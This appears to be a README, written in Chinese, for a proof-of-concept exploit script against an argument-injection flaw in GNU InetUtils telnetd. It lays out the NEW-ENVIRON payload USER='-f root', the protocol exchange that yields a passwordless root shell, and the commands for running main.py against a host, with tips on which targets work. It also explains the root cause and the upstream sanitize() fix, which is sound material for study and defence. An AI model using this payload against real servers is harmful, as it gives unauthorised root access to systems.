telnetd(来自 GNU InetUtils)中的参数注入漏洞。受影响版本为 1.9.3 至 2.7。CVSS 评分为 9.8。自 2026 年 1 月 26 日起被列入 CISA KEV,意味着该漏洞已在野外被积极利用。
整个技巧在于 telnetd 通过 NEW-ENVIRON(RFC 1572)从客户端获取环境变量 USER 的值,并将其未经任何验证直接拼接到 login(1) 的调用中。如果客户端发送 USER="-f root",telnetd 将执行:
/usr/bin/login -p -h <host> -f root
login 中的 -f 标志表示"以该用户身份登录,无需密码"。直接获得 root shell,零认证。
在 telnetd/telnetd.c 中有一个 login 调用模板:
char *login_invocation = PATH_LOGIN " -p -h %h %?u{-f %u}{%U}";
%u 是来自 telnet 认证的用户(受信任)。%U 是来自客户端的原始 USER 环境变量值(不受信任)。当认证未启用时,会使用 %U。
变量展开位于 telnetd/utility.c 的 _var_short_name 函数中:
case 'U':
return getenv("USER") ? xstrdup(getenv("USER")) : xstrdup("");
完全没有过滤。客户端在 USER 中发送的任何内容都会直接进入 login 的命令行。不仅仅是 -f root 有效,理论上 login 接受的任何参数都可以被注入。
该漏洞是在 2015-03-19 的上游安全防护提交(fa3245ac)中引入的。讽刺的是,该提交本意是修复 USER 变量的处理。Debian 曾在 2019 年为此打过补丁(0028-telnetd-Scrub-USER-from-environment.patch),但在 Debian 10 修复 CVE-2020-10188 时补丁丢失,漏洞重新出现。因此 Debian 10+、Ubuntu 及其衍生版本也受影响。
main.py 是一个极简 telnet 客户端,它:
IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SElogin -f root,你获得 shell客户端 服务器
|--- tcp 连接 ------------------->|
|<-- IAC DO NEW_ENVIRON -------------|
|--- IAC WILL NEW_ENVIRON ---------->|
|<-- IAC SB NEW_ENVIRON SEND --------|
|--- SB NEW_ENVIRON IS |
| VAR "USER" VALUE "-f root" |
| IAC SE ------------------------>|
| [telnetd: login -p -h x -f root]|
|<-- root@host:~# ------------------|
python3 main.py <host>
python3 main.py <host> -p <port>
按 Ctrl+C 结束会话。
不要在没有 inetutils-telnetd 的系统上尝试此操作。netkit 的 telnetd 包是另一套代码,不受此特定漏洞影响。如果你连接后看到的是正常的 login 提示符而不是 shell,那么要么服务器已打补丁,要么它不是 inetutils telnetd。
不要将 payload 改为 -f <其他用户> 并期望它在所有系统上都能生效。某些发行版的 login(1) 对 -f 有额外限制。在标准的 Debian/Ubuntu 上,-f root 可以正常工作。
| 软件 | 版本 |
|---|---|
| GNU InetUtils | 1.9.3 - 2.7 |
| Debian 10+ | inetutils-telnetd(补丁前) |
| Debian 11 | 已在 2:2.0-1+deb11u3 中修复 |
| Ubuntu | inetutils-telnetd(补丁前) |
官方修复添加了一个 sanitize() 函数,用于拒绝以 - 开头或包含 shell 元字符的值。该函数应用于所有变量的展开,而不仅仅是 USER。
static char *
sanitize (const char *u)
{
if (u && *u != '-' && !u[strcspn(u, "\t\n !\"#$&'()*;<=>?[\\^`{|}~")])
return u;
else
return "";
}
fd702c0 - USER 补丁ccba9f7 - 所有变量的净化处理